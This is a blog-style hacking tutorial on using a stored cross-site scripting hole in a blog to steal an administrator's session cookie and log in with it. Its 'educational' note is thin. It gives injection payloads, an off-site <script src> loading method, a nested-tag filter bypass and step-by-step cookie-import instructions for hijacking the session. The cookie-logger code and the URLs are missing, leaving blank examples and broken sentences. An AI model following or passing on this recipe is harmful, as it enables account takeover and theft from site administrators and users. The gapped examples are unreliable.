Cross Site Scripting (Using a hole to Hack with XSS)

Last time i posted about XSS and finding a site vulnerable to Xss. And also i talked about few basis that how hackers make use of XSS. But today i will go in detail and will show you that how a XSS hole is used to hack a larger numbers of registered in a website. A short description of this post is here:

  1. We find a blog which allows users user to input data.
  2. This data is displayed, unedited or sanitised on the blog index page.
  3. We want to inject a XSS to log the administrative users cookies.
  4. We want to login with the cookie we have stolen. 
Note : This is for educational purpose for designers or for my readers to make there website safe.

What we shall need :
Heres a list of things you will need through-out the tutorial :
Mozilla Firefox (Use an old version not latest).
FF addon : Add & Edit Cookies. 
FF addon : Live HTTP Headers. 
An ACTIVE cookie logger.(Google it yourself i don't want to put it here and to break laws.)
A basic understanding of JavaScript is an advantage, but not essential.(Refer
A XSS vulnerability to test and exploit. Refer to my Old post On XSS. Hosting is up to you, try this free PHP web host , 000webhost etc.
The desire and dedication to learn. [Yourself.]

Identifying & Exploiting the Vulnerability:

Identifying a XSS vulnerability can be pretty straight forward in most cases. A typical method of testing for a XSS vulnerability would be infamous 'Alert' test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert.
This would display a message box with as the message.

To perform this test we want the page in question to print out the script, so the browser will execute it. So in this case using the included vulnerable test page, input the string <script>alert('')</script>. Now the page will execute this and you should get an alert box displaying the message ''.

Another method of testing for vulnerability is the document.write method. The same concepts and structure is applied to this method as the alert method, we're just using the document.write function instead of the alert function. So this time we insert :
 This time the script will return the string '', (without quotes), and will write it to the page, where the string is supposed to be shown.

Below i am giving a short description on how to exploit this.

Exploiting XSS hole :
After identifying the XSS hole what a hacker will do . Its demonstrated by given example :
(in this example we will be covering cookie stealing), we will go over setting up our logger and a few methods of doing so.

Example 1 :

Our cookie logger URL : Vulnerable Page : Injection Point :

Now we have all this setup, we can crack on. You can use the following methods to log cookies using JavaScript :

Once you have posted this to the blogging system, and it's echoed on the index.php, we just have to be patient and hope the administrator of the site visits it soon, so we can get their cookie.
Another method I want to go over is the <script src=> method. The only difference with this one is that the main script is kept off-site, and is fetched by the <script src> tag, and then executed on the page. This is advantageous in many ways. It can reduce the size of our script on the target site for one, and secondly it can be changed if we want to change the functionality of our XSS. This type of XSS is usually more practical for worms, and keyloggers, but is definitely worth knowing.

Example 2 :

Our cookie logger URL :
Our script URL :
Vulnerable Page :
Injection Point :

Here is how we include or foreign script :

<script src=''></script>

Inside the script we just need the logger, use a function from Example 1. An example of our script would be :


Again, like anything, patience is a virtue.
Here the site is your own hosting site to host the cookielogger srcipt.

Possible Limitations and Basic Filter Evasion Techniques :

The filter I will show you is a filter which removes the '<script>' and '</script>' tags. While a very basic and common method of filtering, it is ridiculously easy to bypass.

Example 1 ~ Tag Removal :

I insert the JavaScript : '<script>alert('XSS')</script>',
and it returns the string : alert('XSS').
Never fear, there is away around this. If I now insert this : '<scr<script>ipt>alert('XSS')</scr</script>ipt>'
Now the script will remove the tags, and echo what's left, which is : <script>alert('XSS')</script>.

There are other methods also. Use Google.

Well if your hosting site is too long then a smart tip is this that you use ip instead of URL.

What to do when you get cookies in txt. file in hosting :
These are the steps:
  1. Open FireFox. 
  2. Click on Tools in the menu bar. 
  3. Click on Cookie Editor.
  4. Click on Add.
Adding the cookie

     5.In name, add the name of that cookie, (the bit before the =)

     6.In content, add the value.

     7. In host, add, unless its a sub domain or otherwise stated, (the dot infront of the domain name  is important).

     8.In path, write /, unless you have the exact path where you want the cookie to be active.

Repeat this procedure until every cookie has been added. Once this is done, you can navigate to the website and check to see if you have logged in. So, Thats a short guide on XSS.